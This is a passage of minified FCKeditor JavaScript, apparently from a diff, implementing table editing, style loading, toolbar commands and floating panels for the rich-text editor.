continue;A=D.cells[C-1].cloneNode(false);if (FCKBrowserInfo.IsGecko) A.innerHTML=GECKO_BOGUS;var E=D.cells[C];if (E) D.insertBefore(A,E);else D.appendChild(A);}};FCKTableHandler.DeleteColumns=function(){var A=FCKSelection.MoveToAncestorNode('TD')||FCKSelection.MoveToAncestorNode('TH');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex;for (var i=B.rows.length-1;i>=0;i--){var D=B.rows[i];if (C==0&&D.cells.length==1){FCKTableHandler.DeleteRows(D);continue;};if (D.cells[C]) D.removeChild(D.cells[C]);}};FCKTableHandler.InsertCell=function(A){var B=A?A:FCKSelection.MoveToAncestorNode("TD");if (!B) return;var C=FCK.EditorDocument.createElement("TD");if (FCKBrowserInfo.IsGecko) C.innerHTML=GECKO_BOGUS;if (B.cellIndex==B.parentNode.cells.length-1){B.parentNode.appendChild(C);}else{B.parentNode.insertBefore(C,B.nextSibling);};return C;};FCKTableHandler.DeleteCell=function(A){if (A.parentNode.cells.length==1){FCKTableHandler.DeleteRows(FCKTools.GetElementAscensor(A,'TR'));return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteCells=function(){var A=FCKTableHandler.GetSelectedCells();for (var i=A.length-1;i>=0;i--){FCKTableHandler.DeleteCell(A[i]);}};FCKTableHandler.MergeCells=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length<2) return;if (A[0].parentNode!=A[A.length-1].parentNode) return;var B=isNaN(A[0].colSpan)?1:A[0].colSpan;var C='';var D=FCK.EditorDocument.createDocumentFragment();for (var i=A.length-1;i>=0;i--){var E=A[i];for (var c=E.childNodes.length-1;c>=0;c--){var F=E.removeChild(E.childNodes[c]);if ((F.hasAttribute&&F.hasAttribute('_moz_editor_bogus_node'))||(F.getAttribute&&F.getAttribute('type',2)=='_moz')) continue;D.insertBefore(F,D.firstChild);};if (i>0){B+=isNaN(E.colSpan)?1:E.colSpan;FCKTableHandler.DeleteCell(E);}};A[0].colSpan=B;if (FCKBrowserInfo.IsGecko&&D.childNodes.length==0) A[0].innerHTML=GECKO_BOGUS;else A[0].appendChild(D);};FCKTableHandler.SplitCell=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length!=1) return;var B=this._CreateTableMap(A[0].parentNode.parentNode);var C=FCKTableHandler._GetCellIndexSpan(B,A[0].parentNode.rowIndex,A[0]);var D=this._GetCollumnCells(B,C);for (var i=0;i<D.length;i++){if (D[i]==A[0]){var E=this.InsertCell(A[0]);if (!isNaN(A[0].rowSpan)&&A[0].rowSpan>1) E.rowSpan=A[0].rowSpan;}else{if (isNaN(D[i].colSpan)) D[i].colSpan=2;else D[i].colSpan+=1;}}};FCKTableHandler._GetCellIndexSpan=function(A,B,C){if (A.length<B+1) return null;var D=A[B];for (var c=0;c<D.length;c++){if (D[c]==C) return c;};return null;};FCKTableHandler._GetCollumnCells=function(A,B){var C=new Array();for (var r=0;r<A.length;r++){var D=A[r][B];if (D&&(C.length==0||C[C.length-1]!=D)) C[C.length]=D;};return C;};FCKTableHandler._CreateTableMap=function(A){var B=A.rows;var r=-1;var C=new Array();for (var i=0;i<B.length;i++){r++;if (!C[r]) C[r]=new Array();var c=-1;for (var j=0;j<B[i].cells.length;j++){var D=B[i].cells[j];c++;while (C[r][c]) c++;var E=isNaN(D.colSpan)?1:D.colSpan;var F=isNaN(D.rowSpan)?1:D.rowSpan;for (var G=0;G<F;G++){if (!C[r+G]) C[r+G]=new Array();for (var H=0;H<E;H++){C[r+G][c+H]=B[i].cells[j];}};c+=E-1;}};return C;};FCKTableHandler.ClearRow=function(A){var B=A.cells;for (var i=0;i<B.length;i++){if (FCKBrowserInfo.IsGecko) B[i].innerHTML=GECKO_BOGUS;else B[i].innerHTML='';}};
+FCKTableHandler.GetSelectedCells=function(){var A=new Array();var B=FCK.EditorDocument.selection.createRange();var C=FCKSelection.GetParentElement();if (C&&C.tagName.Equals('TD','TH')) A[0]=C;else{var C=FCKSelection.MoveToAncestorNode("TABLE");if (C){for (var i=0;i<C.cells.length;i++){var E=FCK.EditorDocument.selection.createRange();E.moveToElementText(C.cells[i]);if (B.inRange(E)||(B.compareEndPoints('StartToStart',E)>=0&&B.compareEndPoints('StartToEnd',E)<=0)||(B.compareEndPoints('EndToStart',E)>=0&&B.compareEndPoints('EndToEnd',E)<=0)){A[A.length]=C.cells[i];}}}};return A;};
+var FCKXml=function(){this.Error=false;};FCKXml.prototype.LoadUrl=function(A){this.Error=false;var B=FCKTools.CreateXmlObject('XmlHttp');if (!B){this.Error=true;return;};B.open("GET",A,false);B.send(null);if (B.status==200||B.status==304) this.DOMDocument=B.responseXML;else if (B.status==0&&B.readyState==4){this.DOMDocument=FCKTools.CreateXmlObject('DOMDocument');this.DOMDocument.async=false;this.DOMDocument.resolveExternals=false;this.DOMDocument.loadXML(B.responseText);}else{this.Error=true;alert('Error loading "'+A+'"');}};FCKXml.prototype.SelectNodes=function(A,B){if (this.Error) return new Array();if (B) return B.selectNodes(A);else return this.DOMDocument.selectNodes(A);};FCKXml.prototype.SelectSingleNode=function(A,B){if (this.Error) return;if (B) return B.selectSingleNode(A);else return this.DOMDocument.selectSingleNode(A);}
+var FCKStyleDef=function(A,B){this.Name=A;this.Element=B.toUpperCase();this.IsObjectElement=FCKRegexLib.ObjectElements.test(this.Element);this.Attributes=new Object();};FCKStyleDef.prototype.AddAttribute=function(A,B){this.Attributes[A]=B;};FCKStyleDef.prototype.GetOpenerTag=function(){var s='<'+this.Element;for (var a in this.Attributes) s+=' '+a+'="'+this.Attributes[a]+'"';return s+'>';};FCKStyleDef.prototype.GetCloserTag=function(){return '</'+this.Element+'>';};FCKStyleDef.prototype.RemoveFromSelection=function(){if (FCKSelection.GetType()=='Control') this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement());else this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetParentElement());}
+FCKStyleDef.prototype.ApplyToSelection=function(){var A=FCK.ToolbarSet.CurrentInstance.EditorDocument.selection;if (A.type=='Text'){var B=A.createRange();var e=document.createElement(this.Element);e.innerHTML=B.htmlText;this._AddAttributes(e);this._RemoveDuplicates(e);B.pasteHTML(e.outerHTML);}else if (A.type=='Control'){var C=FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement();if (C.tagName==this.Element) this._AddAttributes(C);}};FCKStyleDef.prototype._AddAttributes=function(A){for (var a in this.Attributes){switch (a.toLowerCase()){case 'style':A.style.cssText=this.Attributes[a];break;case 'class':A.setAttribute('className',this.Attributes[a],0);break;case 'src':A.setAttribute('_fcksavedurl',this.Attributes[a],0);default:A.setAttribute(a,this.Attributes[a],0);}}};FCKStyleDef.prototype._RemoveDuplicates=function(A){for (var i=0;i<A.children.length;i++){var B=A.children[i];this._RemoveDuplicates(B);if (this.IsEqual(B)) FCKTools.RemoveOuterTags(B);}};FCKStyleDef.prototype.IsEqual=function(e){if (e.tagName!=this.Element) return false;for (var a in this.Attributes){switch (a.toLowerCase()){case 'style':if (e.style.cssText.toLowerCase()!=this.Attributes[a].toLowerCase()) return false;break;case 'class':if (e.getAttribute('className',0)!=this.Attributes[a]) return false;break;default:if (e.getAttribute(a,0)!=this.Attributes[a]) return false;}};return true;};FCKStyleDef.prototype._RemoveMe=function(A){if (!A) return;var B=A.parentElement;if (this.IsEqual(A)){if (this.IsObjectElement){for (var a in this.Attributes){switch (a.toLowerCase()){case 'class':A.removeAttribute('className',0);break;default:A.removeAttribute(a,0);}};return;}else FCKTools.RemoveOuterTags(A);};this._RemoveMe(B);}
+var FCKStylesLoader=function(){this.Styles=new Object();this.StyleGroups=new Object();this.Loaded=false;this.HasObjectElements=false;};FCKStylesLoader.prototype.Load=function(A){var B=new FCKXml();B.LoadUrl(A);var C=B.SelectNodes('Styles/Style');for (var i=0;i<C.length;i++){var D=C[i].attributes.getNamedItem('element').value.toUpperCase();var E=new FCKStyleDef(C[i].attributes.getNamedItem('name').value,D);if (E.IsObjectElement) this.HasObjectElements=true;var F=B.SelectNodes('Attribute',C[i]);for (var j=0;j<F.length;j++){var G=F[j].attributes.getNamedItem('name').value;var H=F[j].attributes.getNamedItem('value').value;if (G.toLowerCase()=='style'){var I=document.createElement('SPAN');I.style.cssText=H;H=I.style.cssText;};E.AddAttribute(G,H);};this.Styles[E.Name]=E;var J=this.StyleGroups[D];if (J==null){this.StyleGroups[D]=new Array();J=this.StyleGroups[D];};J[J.length]=E;};this.Loaded=true;}
+var FCKNamedCommand=function(A){this.Name=A;};FCKNamedCommand.prototype.Execute=function(){FCK.ExecuteNamedCommand(this.Name);};FCKNamedCommand.prototype.GetState=function(){return FCK.GetNamedCommandState(this.Name);};
+var FCKDialogCommand=function(A,B,C,D,E,F,G){this.Name=A;this.Title=B;this.Url=C;this.Width=D;this.Height=E;this.GetStateFunction=F;this.GetStateParam=G;};FCKDialogCommand.prototype.Execute=function(){FCKDialog.OpenDialog('FCKDialog_'+this.Name,this.Title,this.Url,this.Width,this.Height);};FCKDialogCommand.prototype.GetState=function(){if (this.GetStateFunction) return this.GetStateFunction(this.GetStateParam);else return FCK_TRISTATE_OFF;};var FCKUndefinedCommand=function(){this.Name='Undefined';};FCKUndefinedCommand.prototype.Execute=function(){alert(FCKLang.NotImplemented);};FCKUndefinedCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;};var FCKFontNameCommand=function(){this.Name='FontName';};FCKFontNameCommand.prototype.Execute=function(A){if (A==null||A==""){}else FCK.ExecuteNamedCommand('FontName',A);};FCKFontNameCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontName');};var FCKFontSizeCommand=function(){this.Name='FontSize';};FCKFontSizeCommand.prototype.Execute=function(A){if (typeof(A)=='string') A=parseInt(A);if (A==null||A==''){FCK.ExecuteNamedCommand('FontSize',3);}else FCK.ExecuteNamedCommand('FontSize',A);};FCKFontSizeCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontSize');};var FCKFormatBlockCommand=function(){this.Name='FormatBlock';};FCKFormatBlockCommand.prototype.Execute=function(A){if (A==null||A=='') FCK.ExecuteNamedCommand('FormatBlock','<P>');else if (A=='div'&&FCKBrowserInfo.IsGecko) FCK.ExecuteNamedCommand('FormatBlock','div');else FCK.ExecuteNamedCommand('FormatBlock','<'+A+'>');};FCKFormatBlockCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FormatBlock');};var FCKPreviewCommand=function(){this.Name='Preview';};FCKPreviewCommand.prototype.Execute=function(){FCK.Preview();};FCKPreviewCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;};var FCKSaveCommand=function(){this.Name='Save';};FCKSaveCommand.prototype.Execute=function(){var A=FCK.LinkedField.form;if (typeof(A.onsubmit)=='function'){var B=A.onsubmit();if (B!=null&&B===false) return;};A.submit();};FCKSaveCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;};var FCKNewPageCommand=function(){this.Name='NewPage';};FCKNewPageCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();FCK.SetHTML('');FCKUndo.Typing=true;};FCKNewPageCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;};var FCKSourceCommand=function(){this.Name='Source';};FCKSourceCommand.prototype.Execute=function(){if (FCKConfig.SourcePopup){var A=FCKConfig.ScreenWidth*0.65;var B=FCKConfig.ScreenHeight*0.65;FCKDialog.OpenDialog('FCKDialog_Source',FCKLang.Source,'dialog/fck_source.html',A,B,null,null,true);}else FCK.SwitchEditMode();};FCKSourceCommand.prototype.GetState=function(){return (FCK.EditMode==FCK_EDITMODE_WYSIWYG?FCK_TRISTATE_OFF:FCK_TRISTATE_ON);};var FCKUndoCommand=function(){this.Name='Undo';};FCKUndoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Undo();else FCK.ExecuteNamedCommand('Undo');};FCKUndoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckUndoState()?FCK_TRISTATE_OFF:FCK_TRISTATE_DISABLED);else return FCK.GetNamedCommandState('Undo');};var FCKRedoCommand=function(){this.Name='Redo';};FCKRedoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Redo();else FCK.ExecuteNamedCommand('Redo');};FCKRedoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckRedoState()?FCK_TRISTATE_OFF:FCK_TRISTATE_DISABLED);else return FCK.GetNamedCommandState('Redo');};var FCKPageBreakCommand=function(){this.Name='PageBreak';};FCKPageBreakCommand.prototype.Execute=function(){var e=FCK.EditorDocument.createElement('DIV');e.style.pageBreakAfter='always';e.innerHTML='<span style="DISPLAY:none">&nbsp;</span>';var A=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',e);A=FCK.InsertElement(A);};FCKPageBreakCommand.prototype.GetState=function(){return 0;};var FCKUnlinkCommand=function(){this.Name='Unlink';};FCKUnlinkCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsGecko){var A=FCK.Selection.MoveToAncestorNode('A');if (A) FCK.Selection.SelectNode(A);};FCK.ExecuteNamedCommand(this.Name);if (FCKBrowserInfo.IsGecko) FCK.Selection.Collapse(true);};FCKUnlinkCommand.prototype.GetState=function(){return FCK.GetNamedCommandState(this.Name);}
+var FCKSpellCheckCommand=function(){this.Name='SpellCheck';this.IsEnabled=(FCKConfig.SpellChecker=='ieSpell'||FCKConfig.SpellChecker=='SpellerPages');};FCKSpellCheckCommand.prototype.Execute=function(){switch (FCKConfig.SpellChecker){case 'ieSpell':this._RunIeSpell();break;case 'SpellerPages':FCKDialog.OpenDialog('FCKDialog_SpellCheck','Spell Check','dialog/fck_spellerpages.html',440,480);break;}};FCKSpellCheckCommand.prototype._RunIeSpell=function(){try{var A=new ActiveXObject("ieSpell.ieSpellExtension");A.CheckAllLinkedDocuments(FCK.EditorDocument);}catch(e){if(e.number==-2146827859){if (confirm(FCKLang.IeSpellDownload)) window.open(FCKConfig.IeSpellDownloadUrl,'IeSpellDownload');}else alert('Error Loading ieSpell: '+e.message+' ('+e.number+')');}};FCKSpellCheckCommand.prototype.GetState=function(){return this.IsEnabled?FCK_TRISTATE_OFF:FCK_TRISTATE_DISABLED;}
+var FCKTextColorCommand=function(A){this.Name=A=='ForeColor'?'TextColor':'BGColor';this.Type=A;var B;if (FCKBrowserInfo.IsIE) B=window;else if (FCK.ToolbarSet._IFrame) B=FCKTools.GetElementWindow(FCK.ToolbarSet._IFrame);else B=window.parent;this._Panel=new FCKPanel(B,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._Panel.MainNode.className='FCK_Panel';this._CreatePanelBody(this._Panel.Document,this._Panel.MainNode);FCKTools.DisableSelection(this._Panel.Document.body);};FCKTextColorCommand.prototype.Execute=function(A,B,C){FCK._ActiveColorPanelType=this.Type;this._Panel.Show(A,B,C);};FCKTextColorCommand.prototype.SetColor=function(A){if (FCK._ActiveColorPanelType=='ForeColor') FCK.ExecuteNamedCommand('ForeColor',A);else if (FCKBrowserInfo.IsGeckoLike){if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,false);FCK.ExecuteNamedCommand('hilitecolor',A);if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,true);}else FCK.ExecuteNamedCommand('BackColor',A);delete FCK._ActiveColorPanelType;};FCKTextColorCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;};function FCKTextColorCommand_OnMouseOver()	{ this.className='ColorSelected';};function FCKTextColorCommand_OnMouseOut()	{ this.className='ColorDeselected';};function FCKTextColorCommand_OnClick(){this.className='ColorDeselected';this.Command.SetColor('#'+this.Color);this.Command._Panel.Hide();};function FCKTextColorCommand_AutoOnClick(){this.className='ColorDeselected';this.Command.SetColor('');this.Command._Panel.Hide();};function FCKTextColorCommand_MoreOnClick(){this.className='ColorDeselected';this.Command._Panel.Hide();FCKDialog.OpenDialog('FCKDialog_Color',FCKLang.DlgColorTitle,'dialog/fck_colorselector.html',400,330,this.Command.SetColor);};FCKTextColorCommand.prototype._CreatePanelBody=function(A,B){function CreateSelectionDiv(){var C=A.createElement("DIV");C.className='ColorDeselected';C.onmouseover=FCKTextColorCommand_OnMouseOver;C.onmouseout=FCKTextColorCommand_OnMouseOut;return C;};var D=B.appendChild(A.createElement("TABLE"));D.className='ForceBaseFont';D.style.tableLayout='fixed';D.cellPadding=0;D.cellSpacing=0;D.border=0;D.width=150;var E=D.insertRow(-1).insertCell(-1);E.colSpan=8;var C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table cellspacing="0" cellpadding="0" width="100%" border="0">\<tr>\<td><div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #000000"></div></div></td>\<td nowrap width="100%" align="center">' + FCKLang.ColorAutomatic + '</td>\</tr>\</table>';C.Command=this;C.onclick=FCKTextColorCommand_AutoOnClick;var G=FCKConfig.FontColors.toString().split(',');var H=0;while (H<G.length){var I=D.insertRow(-1);for (var i=0;i<8&&H<G.length;i++,H++){C=I.insertCell(-1).appendChild(CreateSelectionDiv());C.Color=G[H];C.innerHTML='<div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #'+G[H]+'"></div></div>';C.Command=this;C.onclick=FCKTextColorCommand_OnClick;}};E=D.insertRow(-1).insertCell(-1);E.colSpan=8;C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td nowrap align="center">'+FCKLang.ColorMoreColors+'</td></tr></table>';C.Command=this;C.onclick=FCKTextColorCommand_MoreOnClick;}
+var FCKPastePlainTextCommand=function(){this.Name='PasteText';};FCKPastePlainTextCommand.prototype.Execute=function(){FCK.PasteAsPlainText();};FCKPastePlainTextCommand.prototype.GetState=function(){return FCK.GetNamedCommandState('Paste');};
+var FCKPasteWordCommand=function(){this.Name='PasteWord';};FCKPasteWordCommand.prototype.Execute=function(){FCK.PasteFromWord();};FCKPasteWordCommand.prototype.GetState=function(){if (FCKConfig.ForcePasteAsPlainText) return FCK_TRISTATE_DISABLED;else return FCK.GetNamedCommandState('Paste');};
+var FCKTableCommand=function(A){this.Name=A;};FCKTableCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();switch (this.Name){case 'TableInsertRow':FCKTableHandler.InsertRow();break;case 'TableDeleteRows':FCKTableHandler.DeleteRows();break;case 'TableInsertColumn':FCKTableHandler.InsertColumn();break;case 'TableDeleteColumns':FCKTableHandler.DeleteColumns();break;case 'TableInsertCell':FCKTableHandler.InsertCell();break;case 'TableDeleteCells':FCKTableHandler.DeleteCells();break;case 'TableMergeCells':FCKTableHandler.MergeCells();break;case 'TableSplitCell':FCKTableHandler.SplitCell();break;case 'TableDelete':FCKTableHandler.DeleteTable();break;default:alert(FCKLang.UnknownCommand.replace(/%1/g,this.Name));}};FCKTableCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;}
+var FCKStyleCommand=function(){this.Name='Style';this.StylesLoader=new FCKStylesLoader();this.StylesLoader.Load(FCKConfig.StylesXmlPath);this.Styles=this.StylesLoader.Styles;};FCKStyleCommand.prototype.Execute=function(A,B){FCKUndo.SaveUndoStep();if (B.Selected) B.Style.RemoveFromSelection();else B.Style.ApplyToSelection();FCKUndo.SaveUndoStep();FCK.Focus();FCK.Events.FireEvent("OnSelectionChange");};FCKStyleCommand.prototype.GetState=function(){if (!FCK.EditorDocument) return FCK_TRISTATE_DISABLED;var A=FCK.EditorDocument.selection;if (FCKSelection.GetType()=='Control'){var e=FCKSelection.GetSelectedElement();if (e) return this.StylesLoader.StyleGroups[e.tagName]?FCK_TRISTATE_OFF:FCK_TRISTATE_DISABLED;};return FCK_TRISTATE_OFF;};FCKStyleCommand.prototype.GetActiveStyles=function(){var A=new Array();if (FCKSelection.GetType()=='Control') this._CheckStyle(FCKSelection.GetSelectedElement(),A,false);else this._CheckStyle(FCKSelection.GetParentElement(),A,true);return A;};FCKStyleCommand.prototype._CheckStyle=function(A,B,C){if (!A) return;if (A.nodeType==1){var D=this.StylesLoader.StyleGroups[A.tagName];if (D){for (var i=0;i<D.length;i++){if (D[i].IsEqual(A)) B[B.length]=D[i];}}};if (C) this._CheckStyle(A.parentNode,B,C);}
+var FCKFitWindow=function(){this.Name='FitWindow';};FCKFitWindow.prototype.Execute=function(){var A=window.frameElement;var B=A.style;var C=parent;var D=C.document.documentElement;var E=C.document.body;var F=E.style;if (!this.IsMaximized){if(FCKBrowserInfo.IsIE) C.attachEvent('onresize',FCKFitWindow_Resize);else C.addEventListener('resize',FCKFitWindow_Resize,true);this._ScrollPos=FCKTools.GetScrollPosition(C);var G=A;while(G=G.parentNode){if (G.nodeType==1) G._fckSavedStyles=FCKTools.SaveStyles(G);};if (FCKBrowserInfo.IsIE){this.documentElementOverflow=D.style.overflow;D.style.overflow='hidden';F.overflow='hidden';}else{F.overflow='hidden';F.width='0px';F.height='0px';};this._EditorFrameStyles=FCKTools.SaveStyles(A);var H=FCKTools.GetViewPaneSize(C);B.position="absolute";B.zIndex=FCKConfig.FloatingPanelsZIndex-1;B.left="0px";B.top="0px";B.width=H.Width+"px";B.height=H.Height+"px";if (!FCKBrowserInfo.IsIE){B.borderRight=B.borderBottom="9999px solid white";B.backgroundColor="white";};C.scrollTo(0,0);this.IsMaximized=true;}else{if(FCKBrowserInfo.IsIE) C.detachEvent("onresize",FCKFitWindow_Resize);else C.removeEventListener("resize",FCKFitWindow_Resize,true);var G=A;while(G=G.parentNode){if (G._fckSavedStyles){FCKTools.RestoreStyles(G,G._fckSavedStyles);G._fckSavedStyles=null;}};if (FCKBrowserInfo.IsIE) D.style.overflow=this.documentElementOverflow;FCKTools.RestoreStyles(A,this._EditorFrameStyles);C.scrollTo(this._ScrollPos.X,this._ScrollPos.Y);this.IsMaximized=false;};FCKToolbarItems.GetItem('FitWindow').RefreshState();FCK.EditingArea.MakeEditable();FCK.Focus();};FCKFitWindow.prototype.GetState=function(){if (FCKConfig.ToolbarLocation!='In') return FCK_TRISTATE_DISABLED;else return (this.IsMaximized?FCK_TRISTATE_ON:FCK_TRISTATE_OFF);};function FCKFitWindow_Resize(){var oViewPaneSize=FCKTools.GetViewPaneSize(parent);var eEditorFrameStyle=window.frameElement.style;eEditorFrameStyle.width=oViewPaneSize.Width+'px';eEditorFrameStyle.height=oViewPaneSize.Height+'px';};
+var FCKCommands=FCK.Commands=new Object();FCKCommands.LoadedCommands=new Object();FCKCommands.RegisterCommand=function(A,B){this.LoadedCommands[A]=B;};FCKCommands.GetCommand=function(A){var B=FCKCommands.LoadedCommands[A];if (B) return B;switch (A){case 'DocProps':B=new FCKDialogCommand('DocProps',FCKLang.DocProps,'dialog/fck_docprops.html',400,390,FCKCommands.GetFullPageState);break;case 'Templates':B=new FCKDialogCommand('Templates',FCKLang.DlgTemplatesTitle,'dialog/fck_template.html',380,450);break;case 'Link':B=new FCKDialogCommand('Link',FCKLang.DlgLnkWindowTitle,'dialog/fck_link.html',400,330,FCK.GetNamedCommandState,'CreateLink');break;case 'Unlink':B=new FCKUnlinkCommand();break;case 'Anchor':B=new FCKDialogCommand('Anchor',FCKLang.DlgAnchorTitle,'dialog/fck_anchor.html',370,170);break;case 'BulletedList':B=new FCKDialogCommand('BulletedList',FCKLang.BulletedListProp,'dialog/fck_listprop.html',370,170);break;case 'NumberedList':B=new FCKDialogCommand('NumberedList',FCKLang.NumberedListProp,'dialog/fck_listprop.html',370,170);break;case 'About':B=new FCKDialogCommand('About',FCKLang.About,'dialog/fck_about.html',400,330);break;case 'Find':B=new FCKDialogCommand('Find',FCKLang.DlgFindTitle,'dialog/fck_find.html',340,170);break;case 'Replace':B=new FCKDialogCommand('Replace',FCKLang.DlgReplaceTitle,'dialog/fck_replace.html',340,200);break;case 'Image':B=new FCKDialogCommand('Image',FCKLang.DlgImgTitle,'dialog/fck_image.html',450,400);break;case 'Flash':B=new FCKDialogCommand('Flash',FCKLang.DlgFlashTitle,'dialog/fck_flash.html',450,400);break;case 'SpecialChar':B=new FCKDialogCommand('SpecialChar',FCKLang.DlgSpecialCharTitle,'dialog/fck_specialchar.html',400,320);break;case 'Smiley':B=new FCKDialogCommand('Smiley',FCKLang.DlgSmileyTitle,'dialog/fck_smiley.html',FCKConfig.SmileyWindowWidth,FCKConfig.SmileyWindowHeight);break;case 'Table':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html',450,250);break;case 'TableProp':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html?Parent',400,250);break;case 'TableCellProp':B=new FCKDialogCommand('TableCell',FCKLang.DlgCellTitle,'dialog/fck_tablecell.html',550,250);break;case 'UniversalKey':B=new FCKDialogCommand('UniversalKey',FCKLang.UniversalKeyboard,'dialog/fck_universalkey.html',415,300);break;case 'Style':B=new FCKStyleCommand();break;case 'FontName':B=new FCKFontNameCommand();break;case 'FontSize':B=new FCKFontSizeCommand();break;case 'FontFormat':B=new FCKFormatBlockCommand();break;case 'Source':B=new FCKSourceCommand();break;case 'Preview':B=new FCKPreviewCommand();break;case 'Save':B=new FCKSaveCommand();break;case 'NewPage':B=new FCKNewPageCommand();break;case 'PageBreak':B=new FCKPageBreakCommand();break;case 'TextColor':B=new FCKTextColorCommand('ForeColor');break;case 'BGColor':B=new FCKTextColorCommand('BackColor');break;case 'PasteText':B=new FCKPastePlainTextCommand();break;case 'PasteWord':B=new FCKPasteWordCommand();break;case 'TableInsertRow':B=new FCKTableCommand('TableInsertRow');break;case 'TableDeleteRows':B=new FCKTableCommand('TableDeleteRows');break;case 'TableInsertColumn':B=new FCKTableCommand('TableInsertColumn');break;case 'TableDeleteColumns':B=new FCKTableCommand('TableDeleteColumns');break;case 'TableInsertCell':B=new FCKTableCommand('TableInsertCell');break;case 'TableDeleteCells':B=new FCKTableCommand('TableDeleteCells');break;case 'TableMergeCells':B=new FCKTableCommand('TableMergeCells');break;case 'TableSplitCell':B=new FCKTableCommand('TableSplitCell');break;case 'TableDelete':B=new FCKTableCommand('TableDelete');break;case 'Form':B=new FCKDialogCommand('Form',FCKLang.Form,'dialog/fck_form.html',380,230);break;case 'Checkbox':B=new FCKDialogCommand('Checkbox',FCKLang.Checkbox,'dialog/fck_checkbox.html',380,230);break;case 'Radio':B=new FCKDialogCommand('Radio',FCKLang.RadioButton,'dialog/fck_radiobutton.html',380,230);break;case 'TextField':B=new FCKDialogCommand('TextField',FCKLang.TextField,'dialog/fck_textfield.html',380,230);break;case 'Textarea':B=new FCKDialogCommand('Textarea',FCKLang.Textarea,'dialog/fck_textarea.html',380,230);break;case 'HiddenField':B=new FCKDialogCommand('HiddenField',FCKLang.HiddenField,'dialog/fck_hiddenfield.html',380,230);break;case 'Button':B=new FCKDialogCommand('Button',FCKLang.Button,'dialog/fck_button.html',380,230);break;case 'Select':B=new FCKDialogCommand('Select',FCKLang.SelectionField,'dialog/fck_select.html',400,380);break;case 'ImageButton':B=new FCKDialogCommand('ImageButton',FCKLang.ImageButton,'dialog/fck_image.html?ImageButton',450,400);break;case 'SpellCheck':B=new FCKSpellCheckCommand();break;case 'FitWindow':B=new FCKFitWindow();break;case 'Undo':B=new FCKUndoCommand();break;case 'Redo':B=new FCKRedoCommand();break;case 'Undefined':B=new FCKUndefinedCommand();break;default:if (FCKRegexLib.NamedCommands.test(A)) B=new FCKNamedCommand(A);else{alert(FCKLang.UnknownCommand.replace(/%1/g,A));return null;}};FCKCommands.LoadedCommands[A]=B;return B;};FCKCommands.GetFullPageState=function(){return FCKConfig.FullPage?FCK_TRISTATE_OFF:FCK_TRISTATE_DISABLED;};
+var FCKPanel=function(A){this.IsRTL=(FCKLang.Dir=='rtl');this.IsContextMenu=false;this._LockCounter=0;this._Window=A||window;var B;if (FCKBrowserInfo.IsIE){this._Popup=this._Window.createPopup();B=this.Document=this._Popup.document;}else{var C=this._IFrame=this._Window.document.createElement('iframe');C.src='javascript:void(0)';C.allowTransparency=true;C.frameBorder='0';C.scrolling='no';C.style.position='absolute';C.style.zIndex=FCKConfig.FloatingPanelsZIndex;C.width=C.height=0;if (this._Window==window.parent&&window.frameElement) window.frameElement.parentNode.insertBefore(C,window.frameElement);else this._Window.document.body.appendChild(C);var D=C.contentWindow;B=this.Document=D.document;B.open();B.write('<html><head></head><body style="margin:0px;padding:0px;"><\/body><\/html>');B.close();FCKTools.AddEventListenerEx(D,'focus',FCKPanel_Window_OnFocus,this);FCKTools.AddEventListenerEx(D,'blur',FCKPanel_Window_OnBlur,this);};B.dir=FCKLang.Dir;B.oncontextmenu=FCKTools.CancelEvent;this.MainNode=B.body.appendChild(B.createElement('DIV'));this.MainNode.style.cssFloat=this.IsRTL?'right':'left';if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKPanel_Cleanup);};FCKPanel.prototype.AppendStyleSheet=function(A){FCKTools.AppendStyleSheet(this.Document,A);};FCKPanel.prototype.Preload=function(x,y,A){if (this._Popup) this._Popup.show(x,y,0,0,A);};FCKPanel.prototype.Show=function(x,y,A,B,C){if (this._Popup){this._Popup.show(x,y,0,0,A);this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';var D=this.MainNode.offsetWidth;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=(x*-1)+A.offsetWidth-D;};this._Popup.show(x,y,D,this.MainNode.offsetHeight,A);if (this.OnHide){if (this._Timer) CheckPopupOnHide.call(this,true);this._Timer=FCKTools.SetInterval(CheckPopupOnHide,100,this);}}else{if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Lock();if (this.ParentPanel) 